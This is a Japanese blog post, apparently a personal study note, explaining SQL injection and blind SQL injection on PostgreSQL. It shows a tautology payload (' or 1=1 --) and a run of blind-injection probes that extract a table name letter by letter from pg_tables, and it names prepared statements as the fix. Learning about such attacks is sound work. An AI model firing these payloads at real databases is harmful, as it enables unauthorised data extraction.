ブラインドSQLインジェクションを調べてみた
はじめに
「ブラインドSQLインジェクション」って何なんでしょう。「SQLインジェクション」はわかりますが「ブラインドSQLインジェクション」って何ですか?
ということで調べてみました。
前提
PostgreSQL 9.3
ユーザーテーブル
CREATE TABLE users ( id bigserial NOT NULL, username character varying(64), password character varying(256), role character varying(32), creaated timestamp with time zone, modified timestamp with time zone, error_count integer NOT NULL, CONSTRAINT users_pkey PRIMARY KEY (id) )
まずSQLインジェクション
アプリケーションの検索条件に(ikechampion)で検索
SELECT username FROM users where username = 'ikechampion' and role = 2;
検索条件に「ikechampion' or 1=1 --」と入力し検索、正しくエスケープされないと
SELECT username FROM users where username = 'ikechampion' or 1=1 --' and role = 2;
正しくエスケープされないと下記と解釈されすべてのroleのレコードが参照されます。
SELECT username FROM users where username = 'ikechampion' or 1=1
対策としてはプリペアドステートメントを使う、使えない場合は適切にエスケープするですね。
続きましてブラインドSQLインジェクション
テーブル名の1文字目がASCIIコードで110(n)を超えているかのサブクエリをくっつけます。下記は結果0レコードです。
SELECT username FROM users where username = 'ikemoto' and ascii(lower(substring((SELECT min(TABLENAME) FROM pg_tables where TABLENAME !~ '^(pg_|sql_)'),1,1))) > 110 -- role = 2' ;
ASCIIコードで103(g)を超えているか。下記は結果0レコードです。
SELECT username FROM users where username = 'ikemoto' and ascii(lower(substring((SELECT min(TABLENAME) FROM pg_tables where TABLENAME !~ '^(pg_|sql_)'),1,1))) > 103 -- role = 2' ;
ASCIIコードで100(d)を超えているか。下記は結果0レコードです。
SELECT username FROM users where username = 'ikemoto' and ascii(lower(substring((SELECT min(TABLENAME) FROM pg_tables where TABLENAME !~ '^(pg_|sql_)'),1,1))) > 100 -- role = 2' ;
ASCIIコードで99(c)を超えているか。下記は結果0レコードです。
SELECT username FROM users where username = 'ikemoto' and ascii(lower(substring((SELECT min(TABLENAME) FROM pg_tables where TABLENAME !~ '^(pg_|sql_)'),1,1))) > 99 -- role = 2' ;
ASCCIコードで98(b)を超えているか。下記は結果0レコードです。
SELECT username FROM users where username = 'ikemoto' and ascii(lower(substring((SELECT min(TABLENAME) FROM pg_tables where TABLENAME !~ '^(pg_|sql_)'),1,1))) > 98 -- role = 2' ;
ASCIIコードで97(a)を超えているか。下記は結果1レコードです。
SELECT username FROM users where username = 'ikemoto' and ascii(lower(substring((SELECT min(TABLENAME) FROM pg_tables where TABLENAME !~ '^(pg_|sql_)'),1,1))) > 97 -- role = 2' ;
ということでpg_tablesの TABLENAMEが最小値の1文字目は"b"であることが判明しました。実際の攻撃はスクリプトを使って簡単にできるようです。
まとめ
ブラインドSQLインジェクションとはSQLインジェクションの脆弱性を使ってテーブル名とかカラム名とかを取得する手法のことでした。
SQLインジェクションの脆弱性があればブラインドSQLインジェクションの脆弱性があるということですね。
参考
調べる際、以下を参照しました。
SQLインジェクションの対策について
ブラインドSQLインジェクションについて
- http://tumblr.tokumaru.org/post/33629554049/sql
- http://www.atmarkit.co.jp/ait/articles/0608/26/news014_2.html
体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践
- 作者: 徳丸浩
- 出版社/メーカー: ソフトバンククリエイティブ
- 発売日: 2011/03/03
- メディア: 大型本
- 購入: 119人 クリック: 4,283回
- この商品を含むブログ (139件) を見る